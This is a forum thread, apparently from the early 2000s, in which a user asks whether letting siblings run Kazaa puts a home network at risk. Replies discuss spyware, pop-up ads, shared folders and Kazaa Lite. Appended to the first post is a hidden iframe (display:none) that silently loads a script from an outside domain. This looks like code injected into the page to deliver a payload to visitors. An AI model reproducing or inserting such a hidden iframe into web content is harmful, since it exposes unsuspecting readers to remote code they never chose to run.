I have recently gotten OL and I love it so far...I have also gotten a Wi-Fi G router and all my computers have been connected to it...My problem is that both my brother and sister want to use Kazaa like their friends and I am not to keen on the idea... From the little I know about it Kazaa and other programs like it, it allows for access to other people computers and also into yours...
Now I dont have to explain why that sounds like a bad idea to me, because our home network is also at risk I would think..I have Zone Alarm Pro running as well as Norton Antivirus, but I still dont feel to comfortable about the idea of Kazaa.
If anyone uses it or knows more about than me please give me a heads up...I would like for them to use our connection for their recreation but not at the expense of our computers and files...Thanks Alot for the help guys...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Steve a.k.a. Superman a.k.a. Kal-El

I have recently gotten OL and I love it so far...I have also gotten a Wi-Fi G router and all my computers have been connected to it...My problem is that both my brother and sister want to use Kazaa like their friends and I am not to keen on the idea... From the little I know about it Kazaa and other programs like it, it allows for access to other people computers and also into yours...
Now I dont have to explain why that sounds like a bad idea to me, because our home network is also at risk I would think..I have Zone Alarm Pro running as well as Norton Antivirus, but I still dont feel to comfortable about the idea of Kazaa.
If anyone uses it or knows more about than me please give me a heads up...I would like for them to use our connection for their recreation but not at the expense of our computers and files...Thanks Alot for the help guys...

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Steve a.k.a. Superman a.k.a. Kal-El

It sounds like you have your network setup pretty secure, but there is always that chance that they would download a file with a virus. That would be my main concern. Not that someone would hack into your network. Yes, Kazaa does allow u to see other peoples files, and them see yours, but only the files you specify they can see. The main reason I don't like Kazaa is because of all the ads that start poping up everywhere when you install a program like that. So there are pros/cons either way. Just a lil more info for you. hope it helps.

Not sure how this relates to smartphones, but I'll be glad to fill you in a little about the program.

KaZaa is a bad move. The software fills your computer with SpyWare, which can be an extreme breach of your personal information (usernames, passwords, account numbers, etc..). Not to mention the S load of advertisements and other garbage they put on your system. And as you pointed out, it does allow for other users to have access to your computer, allowing even more of a breach to your system than the spyware. If you do decide to put KaZaa on your system, invest in GREAT firewall software, maybe even 2 or 3 since you are networked.

In case you haven't been exposed to spyware before, download the free trial of Ad-aware from LavaSoft. It is a program that removes spyware from your computer, even IE SP1 puts spyware on your machine if you activate their web search feature. Run this on your system and see how much it finds on your computer! Sometimes harmless spyware will be placed on your computer by company websites, simple survey type spyware that companies use to make better products based on your web activity, so not all spyware is "bad" but it is nice to have it removed. Spyware is placed on your system without your knowledge, that's why you need special programs to find it.

Hope this helps.

Best Regards,

Jason

the only files that people can "see' on your computer are the ones that you "share" in kazaa, its usually in the "shared' folder.

In general file sharing software is safe, many people who are very computer knowledgeable do use it. If you run virus scanners, you shuld be ok.

The main thing you need to do is keep it from loading on startup from your computer, you can either do that in its preferences or do it by using the startup utility and unchecking it as an option.

It willpop up tons of adds, that is annoying, i only use kazaa when i need a file. OTherwise i don't let it continue to run in the backround because it takes up bandwidth when people are uploading.

Nothing is 100% safe, but, millions of peopleuse prog's like kazaa everyday

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"Aaron the Research Dept."

As a computer tech at a major retail chain, I shudder at the sight of kazaa. Kazaa almost always = viruses on a system. Be safe and proceed with caution.

I use Kazza Lite. I don't get near the amount of popup adds. It isn't supposed to have spyware. I agree with all the other guys, be careful.

I use Kazaa and antivirus software and have not had any problems...just share a specific folder of songs, etc, and nobody will be able to snoop elsewhere on the PC...I agree it is best not to leave it open longer than necessary, as you will come back to 50 pop-up ads...that being said, the program performs as advertised and the interface is the best I've seen for file sharing...

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sometimes you get the elevator....sometimes you get the shaft...

goto http://www.kazaalite.com and use that instead of regular kazaa.

i use that and so do all of my friends. none of us have had ANY problems. we also use norton antivirus.

just the fact that u are online makes u susceptible to viruses.

dont be stupid and open suspicious files.

kazaalite also had a forum where people post the FAKE files so u dont download junk.

point is be careful and u shouldn't thave any problems.

oh yah, people that buy computers at major retail stores are usually (USUALLY, not ALL) folks that don't know much to begin with. Same people who pay $40 to get RAM installed.

Also same people who never update their antivirus software updates.

Like they say, "it's not the computer, it's the user"

Best of luck
Davi

ps i also use Kill Popup 1.2 it's free and i rarely get any popups (never from KazaaLite) and it's easy to bypass, just hold down <CTRL> when you want something to popup.